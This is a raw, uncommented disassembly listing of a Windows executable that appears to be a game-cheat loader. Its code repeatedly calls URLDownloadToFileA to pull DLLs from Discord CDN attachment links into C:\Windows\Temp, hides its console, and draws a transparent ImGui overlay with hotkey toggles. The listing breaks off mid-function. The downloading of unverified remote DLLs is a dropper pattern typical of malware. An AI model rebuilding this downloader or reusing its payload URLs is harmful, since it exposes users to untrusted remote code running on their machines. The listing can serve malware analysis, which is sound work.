movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x70]
movzx eax, byte [0x14016a890]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x48], al
movsd xmm0, qword [0x14016a888]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a9c0]
lea rax, [rbx + 0x16a9c0]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x70]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x14016aa88]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x14016a2d0]
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x80], xmm1
movaps xmm0, xmmword [0x14016a2e0]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016a318]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016a2f0]
xor r9d, r9d
movaps xmmword [rbp + 0x90], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016a300]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016a310]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xc8], ax
movzx eax, word [0x140169f88]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x140169f80]
movzx eax, byte [0x140169f8a]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0x1c0]
movaps xmm1, xmmword [0x14016aaa0]
lea rdx, [rbp + 0x70]
mov eax, dword [0x14016aae8]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016aab0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016aad0]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016aae0]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016aac0]
mov dword [rbp + 0xc8], eax
movzx eax, word [0x14016aaec]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0xcc], ax
movzx eax, byte [0x14016aaee]
movaps xmmword [rbp + 0xa0], xmm1
movups xmm1, xmmword [0x140169ff8]
mov byte [rbp + 0xce], al
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x1d0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016ab48]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016ab00]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016ab10]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016ab30]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016ab40]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_blanca_1.dll]
mov word [rbp + 0xc8], ax
mov eax, dword [0x140169fc8]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x140169fc0]
movzx eax, byte [0x140169fcc]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016ab20]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x44], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1ed0]
call fcn.14005e430
lea rdx, [0x140052340]
lea rcx, [rbp - 0x40]
call fcn.14005e440
mov rcx, rax
call fcn.140052190
lea rcx, [rbp - 0x40]
call fcn.14004a4e0
mov rcx, qword [0x1401f9030]
call fcn.1400523a0
lea rcx, [0x14022a390]
call fcn.1400d3170
cmp dword [0x1401f9078], r12d
jne 0x14005828e
call fcn.14005ee90
mov rcx, rax
call fcn.14005edf0
mov dword [0x1401f9078], eax
call fcn.14005ee90
mov edx, dword [0x1401f9078]
mov rcx, rax
call fcn.14005ed30
lea rcx, [0x14022a390]
call fcn.1400d3170
cmp byte [0x14022a5a8], r12b
jne 0x1400582d3
lea rcx, [0x14022a5b0]
call fcn.140043d30
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [0x14005da90]
mov dword [rbp + 0x240], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x248], rax
xor ecx, ecx
mov dword [rbp + 0x244], 0x40
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x260], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x270], r12
mov qword [rbp + 0x268], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x278], rax
lea rax, str.Strong
mov qword [rbp + 0x280], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x288], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.Starsonf
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x280]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov qword [0x1401f9048], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test sil, al
je 0x140058401
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x14016c0d0]
lea rdx, [rbp + 0x940]
mov rcx, qword [0x1401f9048]
movdqu xmmword [rbp + 0x940], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1401f9048]
lea rdx, [0x1401f9068]
xorps xmm0, xmm0
movups xmmword [0x1401f9068], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401f9048]
call fcn.14005d880
test al, al
jne 0x14005847b
call fcn.14005da10
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, esi
add rsp, 0x2188
pop r12
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [0x1401f9048]
mov edx, 0xa
mov qword [rsp + 0x21b0], rdi
movaps xmmword [rsp + 0x2170], xmm6
movaps xmmword [rsp + 0x2160], xmm7
movaps xmmword [rsp + 0x2150], xmm8
movaps xmmword [rsp + 0x2140], xmm9
movaps xmmword [rsp + 0x2130], xmm10
movaps xmmword [rsp + 0x2120], xmm11
movaps xmmword [rsp + 0x2110], xmm12
movaps xmmword [rsp + 0x2100], xmm13
movaps xmmword [rsp + 0x20f0], xmm14
movaps xmmword [rsp + 0x20e0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401f9048]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017260
xor ecx, ecx
call fcn.140006980
call fcn.1400089a0
lea rcx, [rbp + 0xc90]
mov rdi, rax
or dword [rax], 3
call fcn.14002a180
mov dword [rbp + 0xcdc], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d3a0
movss xmm6, dword [0x14016bf5c]
lea rdx, [0x140184120]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xc90]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ac80
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401f9038], rax
call fcn.14002d3a0
movss xmm3, dword [0x14016bf54]
lea rdx, [0x140184120]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xc90]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ac80
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d3a0
movss xmm3, dword [0x14016bf74]
lea rdx, [0x1401d4090]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xc90]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ac80
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401f90b8], rax
call fcn.14002d3a0
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ae730]
lea rax, [rbp + 0xc90]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002ac80
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401f90b0], rax
call fcn.14002d3a0
movss xmm3, dword [0x14016bf7c]
lea rdx, [0x1401ae730]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xc90]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ac80
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401f9040], rax
call fcn.14002d3a0
movss xmm14, dword [0x14016bf68]
lea rdx, [0x1401d4fd0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm14
lea rax, [rbp + 0xc90]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ac80
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401f90a8], rax
call fcn.14002d3a0
movss xmm3, dword [0x14016bf88]
lea rdx, [0x1401d5930]
mov qword [rsp + 0x28], rax
mov r8d, 0x20fe0
mov rcx, rbx
mov qword [rsp + 0x20], r12
call fcn.14002ac80
cmp qword [0x1401f9020], r12
mov qword [rbp + 0x1e0], rax
jne 0x14005876e
mov rcx, qword [0x1401f9080]
lea rax, [0x1401f9020]
mov qword [rsp + 0x30], r12
lea r9, [0x1401f7da8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401aa6c0]
mov qword [rsp + 0x20], rcx
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov rcx, qword [0x14022ee58]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401f9010], r12
jne 0x1400587b5
mov rcx, qword [0x14022ee58]
lea rax, [0x1401f9010]
mov qword [rsp + 0x30], r12
lea r9, [0x1401f7da8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401aa490]
mov rax, qword [0x1401f9080]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401f9018], r12
jne 0x1400587fc
mov rcx, qword [0x14022ee58]
lea rax, [0x1401f9018]
mov qword [rsp + 0x30], r12
lea r9, [0x1401f7da8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401aa7a0]
mov rax, qword [0x1401f9080]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1401f9048]
call fcn.140046280
mov rdx, qword [0x14022ee98]
mov rcx, qword [0x14022ee58]
call fcn.140045db0
xorps xmm7, xmm7
lea rcx, [rbp + 0xc70]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm7
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001d20
movss xmm9, dword [0x14016bec8]
xor bl, bl
movss xmm13, dword [0x14016c098]
movss xmm6, dword [0x14016bf48]
movss xmm12, dword [0x14016bf90]
movss xmm15, dword [0x14016c028]
movss xmm11, dword [0x14016be90]
movss xmm8, dword [0x14016bfa8]
movss xmm10, dword [0x14016bf00]
mov qword [rsp + 0x21b8], r13
mov qword [rsp + 0x21c0], r14
mov dword [rbp + 0x30], ebx
mov qword [rsp + 0x2180], r15
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xb10]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005890f
nop dword [rax]
lea rcx, [rbp + 0xb10]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb10]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xb18], 0x12
lea rcx, [rbp + 0xb10]
movzx ebx, bl
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400588c0
mov dword [rbp + 0x30], ebx
test bl, bl
jne 0x14005d7c1
mov ecx, Ordinal_50
call fcn.140054450
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.140054450
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.140054450
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.140054450
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.140054450
mov ecx, WSAStartup
mov byte [rsp + 0x63], al
call fcn.140054450
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.140054450
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.140054450
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.140054450
mov ecx, dword [0x1401f8fec]
movzx r9d, byte [0x1401f8fce]
movzx r10d, byte [0x1401f909e]
movzx r11d, byte [0x1401f902e]
movzx ebx, byte [0x1401f9002]
movzx edi, byte [0x1401f905a]
movzx esi, byte [0x1401f902c]
movzx r14d, byte [0x1401f8fcf]
movzx r15d, byte [0x1401f8ff9]
movzx r12d, byte [0x1401f902f]
mov byte [rsp + 0x67], al
cmp ecx, 1
jne 0x140058a12
test r13b, r13b
je 0x140058bc8
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x140058bd8
cmp byte [0x1401f9095], r9b
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 2
jne 0x140058a4b
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x140058bcd
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x140058bd8
cmp byte [0x1401f9095], r10b
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 3
jne 0x140058a84
movzx edx, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test dl, dl
je 0x140058bd8
test r11b, r11b
jne 0x140058bd8
cmp byte [0x1401f9095], r11b
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 4
jne 0x140058abc
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
je 0x140058bd3
movzx edx, byte [rsp + 0x61]
test bl, bl
jne 0x140058bd8
cmp byte [0x1401f9095], bl
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 5
jne 0x140058af8
cmp byte [rsp + 0x63], 0
je 0x140058bc8
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x140058bd8
cmp byte [0x1401f9095], dil
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 6
jne 0x140058b34
cmp byte [rsp + 0x64], 0
je 0x140058bc8
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x140058bd8
cmp byte [0x1401f9095], sil
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 7
jne 0x140058b69
cmp byte [rsp + 0x65], 0
je 0x140058bc8
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x140058bd8
cmp byte [0x1401f9095], r14b
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 8
jne 0x140058b9a
cmp byte [rsp + 0x66], 0
je 0x140058bc8
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x140058bd8
cmp byte [0x1401f9095], r15b
sete byte [0x1401f9095]
jmp 0x140058bd8
cmp ecx, 9
jne 0x140058bc8
test al, al
je 0x140058bc8
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x140058bd8
cmp byte [0x1401f9095], r12b
sete byte [0x1401f9095]
jmp 0x140058bd8
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x61]
mov eax, dword [0x14022ed98]
cmp eax, 1
jne 0x140058bf4
test r13b, r13b
je 0x140058c85
test r9b, r9b
jmp 0x140058c75
cmp eax, 2
jne 0x140058c06
test cl, cl
je 0x140058c85
test r10b, r10b
jmp 0x140058c75
cmp eax, 3
jne 0x140058c14
test dl, dl
je 0x140058c85
test r11b, r11b
jmp 0x140058c75
cmp eax, 4
jne 0x140058c22
test r8b, r8b
je 0x140058c85
test bl, bl
jmp 0x140058c75
cmp eax, 5
jne 0x140058c33
cmp byte [rsp + 0x63], 0
je 0x140058c85
test dil, dil
jmp 0x140058c75
cmp eax, 6
jne 0x140058c44
cmp byte [rsp + 0x64], 0
je 0x140058c85
test sil, sil
jmp 0x140058c75
cmp eax, 7
jne 0x140058c55
cmp byte [rsp + 0x65], 0
je 0x140058c85
test r14b, r14b
jmp 0x140058c75
cmp eax, 8
jne 0x140058c66
cmp byte [rsp + 0x66], 0
je 0x140058c85
test r15b, r15b
jmp 0x140058c75
cmp eax, 9
jne 0x140058c85
cmp byte [rsp + 0x67], 0
je 0x140058c85
test r12b, r12b
jne 0x140058c85
cmp byte [0x1401f9094], 0
sete byte [0x1401f9094]
mov eax, dword [0x14022edf0]
cmp eax, 1
jne 0x140058ca1
test r13b, r13b
je 0x140058d32
test r9b, r9b
jmp 0x140058d22
cmp eax, 2
jne 0x140058cb3
test cl, cl
je 0x140058d32
test r10b, r10b
jmp 0x140058d22
cmp eax, 3
jne 0x140058cc1
test dl, dl
je 0x140058d32
test r11b, r11b
jmp 0x140058d22
cmp eax, 4
jne 0x140058ccf
test r8b, r8b
je 0x140058d32
test bl, bl
jmp 0x140058d22
cmp eax, 5
jne 0x140058ce0
cmp byte [rsp + 0x63], 0
je 0x140058d32
test dil, dil
jmp 0x140058d22
cmp eax, 6
jne 0x140058cf1
cmp byte [rsp + 0x64], 0
je 0x140058d32
test sil, sil
jmp 0x140058d22
cmp eax, 7
jne 0x140058d02
cmp byte [rsp + 0x65], 0
je 0x140058d32
test r14b, r14b
jmp 0x140058d22
cmp eax, 8
jne 0x140058d13
cmp byte [rsp + 0x66], 0
je 0x140058d32
test r15b, r15b
jmp 0x140058d22
cmp eax, 9
jne 0x140058d32
cmp byte [rsp + 0x67], 0
je 0x140058d32
test r12b, r12b
jne 0x140058d32
cmp byte [0x1401f908e], 0
sete byte [0x1401f908e]
mov eax, dword [0x14022eed0]
cmp eax, 1
jne 0x140058d4e
test r13b, r13b
je 0x140058ddf
test r9b, r9b
jmp 0x140058dcf
cmp eax, 2
jne 0x140058d60
test cl, cl
je 0x140058ddf
test r10b, r10b
jmp 0x140058dcf
cmp eax, 3
jne 0x140058d6e
test dl, dl
je 0x140058ddf
test r11b, r11b
jmp 0x140058dcf
cmp eax, 4
jne 0x140058d7c
test r8b, r8b
je 0x140058ddf
test bl, bl
jmp 0x140058dcf
cmp eax, 5
jne 0x140058d8d
cmp byte [rsp + 0x63], 0
je 0x140058ddf
test dil, dil
jmp 0x140058dcf
cmp eax, 6
jne 0x140058d9e
cmp byte [rsp + 0x64], 0
je 0x140058ddf
test sil, sil
jmp 0x140058dcf
cmp eax, 7
jne 0x140058daf
cmp byte [rsp + 0x65], 0
je 0x140058ddf
test r14b, r14b
jmp 0x140058dcf
cmp eax, 8
jne 0x140058dc0
cmp byte [rsp + 0x66], 0
je 0x140058ddf
test r15b, r15b
jmp 0x140058dcf
cmp eax, 9
jne 0x140058ddf
cmp byte [rsp + 0x67], 0
je 0x140058ddf
test r12b, r12b
jne 0x140058ddf
cmp byte [0x1401f9092], 0
sete byte [0x1401f9092]
mov eax, dword [0x14022ed2c]
cmp eax, 1
jne 0x140058dfb
test r13b, r13b
je 0x140058e8c
test r9b, r9b
jmp 0x140058e7c
cmp eax, 2
jne 0x140058e0d
test cl, cl
je 0x140058e8c
test r10b, r10b
jmp 0x140058e7c
cmp eax, 3
jne 0x140058e1b
test dl, dl
je 0x140058e8c
test r11b, r11b
jmp 0x140058e7c
cmp eax, 4
jne 0x140058e29
test r8b, r8b
je 0x140058e8c
test bl, bl
jmp 0x140058e7c
cmp eax, 5
jne 0x140058e3a
cmp byte [rsp + 0x63], 0
je 0x140058e8c
test dil, dil
jmp 0x140058e7c
cmp eax, 6
jne 0x140058e4b
cmp byte [rsp + 0x64], 0
je 0x140058e8c
test sil, sil
jmp 0x140058e7c
cmp eax, 7
jne 0x140058e5c
cmp byte [rsp + 0x65], 0
je 0x140058e8c
test r14b, r14b
jmp 0x140058e7c
cmp eax, 8
jne 0x140058e6d
cmp byte [rsp + 0x66], 0
je 0x140058e8c
test r15b, r15b
jmp 0x140058e7c
cmp eax, 9
jne 0x140058e8c
cmp byte [rsp + 0x67], 0
je 0x140058e8c
test r12b, r12b
jne 0x140058e8c
cmp byte [0x1401f9090], 0
sete byte [0x1401f9090]
mov eax, dword [0x1401f8ffc]
cmp eax, 1
jne 0x140058ea8
test r13b, r13b
je 0x140058f39
test r9b, r9b
jmp 0x140058f29
cmp eax, 2
jne 0x140058eba
test cl, cl
je 0x140058f39
test r10b, r10b
jmp 0x140058f29
cmp eax, 3
jne 0x140058ec8
test dl, dl
je 0x140058f39
test r11b, r11b
jmp 0x140058f29
cmp eax, 4
jne 0x140058ed6
test r8b, r8b
je 0x140058f39
test bl, bl
jmp 0x140058f29
cmp eax, 5
jne 0x140058ee7
cmp byte [rsp + 0x63], 0
je 0x140058f39
test dil, dil
jmp 0x140058f29
cmp eax, 6
jne 0x140058ef8
cmp byte [rsp + 0x64], 0
je 0x140058f39
test sil, sil
jmp 0x140058f29
cmp eax, 7
jne 0x140058f09
cmp byte [rsp + 0x65], 0
je 0x140058f39
test r14b, r14b
jmp 0x140058f29
cmp eax, 8
jne 0x140058f1a
cmp byte [rsp + 0x66], 0
je 0x140058f39
test r15b, r15b
jmp 0x140058f29
cmp eax, 9
jne 0x140058f39
cmp byte [rsp + 0x67], 0
je 0x140058f39
test r12b, r12b
jne 0x140058f39
cmp byte [0x1401f9096], 0
sete byte [0x1401f9096]
mov eax, dword [0x1401f8ff0]
cmp eax, 1
jne 0x140058f60
test r13b, r13b
je 0x140058fbd
test r9b, r9b
jne 0x140058fbd
cmp byte [0x1401f908d], 0
sete al
mov byte [0x1401f908d], al
jmp 0x140058fc4
cmp eax, 2
jne 0x140058f6e
test cl, cl
je 0x140058fbd
test r10b, r10b
jmp 0x140058f4c
cmp eax, 3
jne 0x140058f7c
test dl, dl
je 0x140058fbd
test r11b, r11b
jmp 0x140058f4c
cmp eax, 4
jne 0x140058f8a
test r8b, r8b
je 0x140058fbd
test bl, bl
jmp 0x140058f4c
cmp eax, 5
jne 0x140058f9b
cmp byte [rsp + 0x63], 0
je 0x140058fbd
test dil, dil
jmp 0x140058f4c
cmp eax, 6
jne 0x140058fac
cmp byte [rsp + 0x64], 0
je 0x140058fbd
test sil, sil
jmp 0x140058f4c
cmp eax, 7
jne 0x140058fbd
cmp byte [rsp + 0x65], 0
je 0x140058fbd
test r14b, r14b
jmp 0x140058f4c
movzx eax, byte [0x1401f908d]
mov edx, dword [0x1401f9004]
cmp edx, 8
jne 0x140058fdb
cmp byte [rsp + 0x66], 0
je 0x140058ff5
test r15b, r15b
jmp 0x140058fea
cmp edx, 9
jne 0x140058ff5
cmp byte [rsp + 0x67], 0
je 0x140058ff5
test r12b, r12b
jne 0x140058ff5
test al, al
sete byte [0x1401f908d]
mov r8d, dword [0x1401f907c]
cmp r8d, 1
jne 0x140059029
test r13b, r13b
je 0x1400590c2
test r9b, r9b
jne 0x1400590c2
cmp byte [0x1401f908c], 0
sete cl
mov byte [0x1401f908c], cl
jmp 0x1400590c9
cmp r8d, 2
jne 0x14005903c
test cl, cl
je 0x1400590c2
test r10b, r10b
jmp 0x14005900e
cmp r8d, 3
jne 0x14005904e
cmp byte [rsp + 0x61], 0
je 0x1400590c2
test r11b, r11b
jmp 0x14005900e
cmp r8d, 4
jne 0x14005905f
cmp byte [rsp + 0x62], 0
je 0x1400590c2
test bl, bl
jmp 0x14005900e
cmp r8d, 5
jne 0x140059071
cmp byte [rsp + 0x63], 0
je 0x1400590c2
test dil, dil
jmp 0x14005900e
cmp r8d, 6
jne 0x140059083
cmp byte [rsp + 0x64], 0
je 0x1400590c2
test sil, sil
jmp 0x14005900e
cmp r8d, 7
jne 0x140059098
cmp byte [rsp + 0x65], 0
je 0x1400590c2
test r14b, r14b
jmp 0x14005900e
cmp r8d, 8
jne 0x1400590ad
cmp byte [rsp + 0x66], 0
je 0x1400590c2
test r15b, r15b
jmp 0x14005900e
cmp r8d, 9
jne 0x1400590c2
cmp byte [rsp + 0x67], 0
je 0x1400590c2
test r12b, r12b
jmp 0x14005900e
movzx ecx, byte [0x1401f908c]
cmp edx, 1
jne 0x1400590f8
test r13b, r13b
je 0x140059257
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005925c
cmp byte [0x1401f9067], r9b
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 2
jne 0x140059126
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005925c
test r10b, r10b
jne 0x14005925c
cmp byte [0x1401f9067], r10b
sete byte [0x1401f9067]
jmp 0x14005925c
